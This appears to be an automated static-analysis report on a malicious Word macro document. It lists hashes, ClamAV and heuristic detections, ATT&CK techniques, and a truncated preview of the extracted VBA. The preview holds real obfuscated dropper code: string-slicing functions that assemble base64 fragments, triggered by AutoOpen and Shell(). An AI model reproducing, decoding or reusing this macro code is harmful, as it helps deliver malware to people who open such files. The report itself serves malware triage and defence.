Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9b424b78890f099a…

MALICIOUS

Office (OLE)

82.0 KB Created: 2017-11-01 20:55:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: c2041340ef8f2af1c12ec378f147636c SHA-1: 80a03eda9b07a247e93a86ec8ed18edea190cf53 SHA-256: 9b424b78890f099ae94e6164ce10d3b1022ef6d499dd471d0c059c53cf25348b
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. The 'AutoOpen' macro is present and triggers a 'Shell()' call, indicating an attempt to execute arbitrary code. ClamAV also identified this as a dropper. The VBA macro code is heavily obfuscated, but the presence of a 'Shell()' call and the 'Doc.Dropper.Agent-6362843-0' ClamAV signature strongly suggest it functions as a downloader for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6362843-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6362843-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42475 bytes
SHA-256: 39ea736ae51cd152d05c506549eda248f57da3848bf7e561310183264584fe8b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 64 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "acrjGTwOE"
Function bvJqvLMGH()
NOfTafUvQ = jaktHBJLn
WGJYXuzIuc = Mid("fMKiXLnkCjOLnB1K8VNGUbKDC1pR9NQA4ACwAIAA0ADcALAAgADQANwAsADEAMAA5ACwAOQA3ACAALAAgADEAMQA0ACwAMQAwADcAIAAsACAAMQAxADcAIAAsACAAMQAxADUAIAAsADQANQAsACAAMDJr1JTi0", 30, 121)
snwmWM = WGJYXuzIuc
WtCmhrSzQ = vXznoLRMA
WzKovDHd = Mid("0nRYbD3zAhzvm9izX02jNwUK4471iVEzfOCAAMQAxADkALAAgADQANQAsADEAMQAxACAALAA5ADgAIAAsACAAMQAwADYALAAxADAAMQAsADkAOQAsACAAMQAxADYAIAAsADMAMgAd78N8", 35, 102)
IDFSja = WzKovDHd
wNHiiihtU = RQZVqiMWi
dHHBB = Mid("c4bgBpAEEAQgBMAGUAIAAnACoATQBkAFIAKgAnACkALgBOAEEAbQBFAFsAMwAsADEAMQAsADIAXQAtAGoAbwBJAG4AJwAnACkAmqcGbRG", 4, 95)
ukBcjrZ = dHHBB
iajoAcPYX = RvmZbvAMw
WGUziLYZvhp = Mid("TrwwMfAgACwAOQA3ACwAIAAxADAANwAsADUAOQAgACwAIAAxADIANQAsADkAOQAgACwAIAA5ADcAIAAsADEAMQA2ACAALAAgADkAOQAsADEAMAA0ACUjLwICNdk", 7, 108)
WXqAjwZulwj = WGUziLYZvhp
fsKTFnWBh = qahQaSdjm
HrBEwKIs = Mid("rZAkvPr1oi8Ef1UwzdkuFR5CV6YQhAHj52fAAAgADEAMQAOQA", 37, 10)
iTfIhJLl = HrBEwKIs
UIMiPKKPz = hroiUdkhi
lHKvlnZ = Mid("oRS6GsACAAMQAxADQALAA5ADcAIAAsADEAMQAwACwAMQAwADAALAAxADEAMQAsACAAMQAwADkALAAgADUAOQAgACwAMwA2ACAALAAgADEAMQA3ACwAIAAxADEANAAgACwAMQAwADgAIAAsADEAMQA1ACwAMwAyACwAIAA2qaJiF5iwDF", 6, 161)
zmJnm = lHKvlnZ
XOUsRzvYw = qBVUwsIjD
PoVqMdGVP = Mid("YIsw88QoJEasjroYAH3qAMQA1ACwAOQA5ACwAIAAxADAANAAgACwAMQAwADkALAA5ADcALAAxADEAMAAsADEAMQAwACAALAAgADQANgAgACwAIAAxADAAMAAsADEAMAAxACAALAAgADQANwAgACwAIAAxADEAOAAsAd0", 21, 142)
vilim = PoVqMdGVP
lAcAIpqoJ = sMFDftnFU
DcaqC = Mid("scstAA1ADgAIAAsADQANwAgACwANAA3ACAALAAgADkAOQAgACwAIAA5ADkAIAAsACAAMQAxADEALAAgADEAMQA5ACwAIAA5ADcALAAgADEAMQAwACAALAA0ADYALAAgADkAOQAsMI01w2d4WHT", 5, 131)
dcOtTzZS = DcaqC
RbqNjqLUO = cNvwVnZwj
qfzwRVhzZV = Mid("0RRVpv7aZjMFwAgACwAIAA5ADgAIAAsACAAOQkiItC1Hi8q42QihjR6uoiJj", 14, 24)
VrPTzQN = qfzwRVhzZV
BWGfCdpCL = smWcjqYqF
qmcTsLQo = Mid("KbFkYQ0qoPYEjADEAIAAsi23KO5fiG", 14, 8)
aFSIcjCS = qmcTsLQo
NYRmpobOb = OwqSdjMmj
fiqoOOn = Mid("VAAzADIAIAAsADYAMQAgACwAIAAzADIALAAgADEAMQAwACAALAAxADAAMQAsADEAMQA5ACAALAAgADQANQAsADEAMQAxACAALAA5ADgALAAxADAANgAgACwAMQAwADEAIAAsADkAOQAsACAAMQAxADYALAAgADMAMgAgADSk1ZZtfYBCYwJz2Sh9jOw9BhVI71aIqWci", 2, 164)
uJQklkZF = fiqoOOn
NlYNXjiTh = rzjFYfhMa
kAHbqLRzbr = Mid("IDn9NNIbqWu3laFZa1cngADEAMQA0ACwAIAA5ADcAIAAsADEAMQAwACwAIAAxADAAMAAsACAAMQAxADEA6ITYC3TrXu07hiO6N", 21, 61)
CAzQwuB = kAHbqLRzbr
OPhREoBaG = VaJpPuHKE
hXTwVjRc = Mid("oRM5iT0sACAAMQAxADQAIAAsADEAMAAxACwAIAA5ADcALAAgADkAOQAgACwAIAAxADAANAAsACAANAAwACAALAAzADYALAAgADEAMQA3ACAALGsIKDwA", 8, 102)
FsCvp = hXTwVjRc
hzAkHVHjO = uJXLkQGwX
OrSCtqwlzT = Mid("4vP3uNoYGBfuInAMQAxADYAIAAsACAAMQAxADIALAA1ADgALAAgADQANwAsADQANwAgACwAIAA5ADcALAAgADEAMQA2ACwAIAAxADAANQAgACwAIAAxADEAMAAsACAAOQA3ACwAIAA0ADUALAAxADAANAAgACwAIAAxADEAMQAsADEAMQAZOHAKWETEKkWO5qKk", 15, 164)
oWjwa = OrSCtqwlzT
BwhjLwaJt = XCkmzOaAN
tpUTjcNs = Mid("7bjLuIYAsADQAMwAgACwAMwAyACAALAAgADMAOQAsACAANAA2ACwAIAAxADAAMQAgACwAIAAxADIAMAAgACwAIAAxADAAMt1dXf", 8, 87)
LdnpjndupLE = tpUTjcNs
ZiILKVZHR = iJpsjRWFN
HUiZkvS = Mid("ojnY368mQxADEANgAgACwANAA3ACwANAA0ACAALAAgADEAMAA0ACwAIAAxADEANgAgACwAIAAxADEANgAgACwAIAAxADEAMgAsACAA0aawjnUZuI", 10, 93)
sLOPjJrjJ = HUiZkvS
XzoDJzcjh = iILJljDjT
zBPwQOlOpF = Mid("UYMzwzZibz8Zql8b4CnT90ACwAIAAxADAAOAAgACwAMwAyACAALAAgADEAMAA1ACAALAAgADEAMQAwACAALAAgADMAMgAgACwAMwA2ACAALAAxADEANwAgACwAMQAxADQAIAAsACAAMQAwADgAIAAsADEAMQA1ACAALAAgADQAMQAsADEAMgAzACAALAAYW", 22, 168)
bndDKQa = zBPwQOlOpF
OpmLKEfsA = DfSSPrADD
QBZzRbYP = Mid("LYvCmiEHA67F9620zASj6cAOITADEAMQA0ACwAMQAwADUALAAxADEANgAsADEAMAAxACAALAAgADQANQAgACwAIAAxADAANAAsADEAMQAxACAALAAgADEAMQA1ACwAIAAxADEANgAsADMAMgAgACwAIAAzADYAIAAsACAAOQA1ACAALAA0ADYAIAAsADYAOQAgACwGHidzGz6HfJI", 27, 171)
YrXztXHhdS = QBZzRbYP
YWUKiaovw = GYYFpDzIQ
HktAJDcSO = Mid("cXjh2wDUAIAAsACAAMQAxADUAIAAsACAAMQAxADYALAAx
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.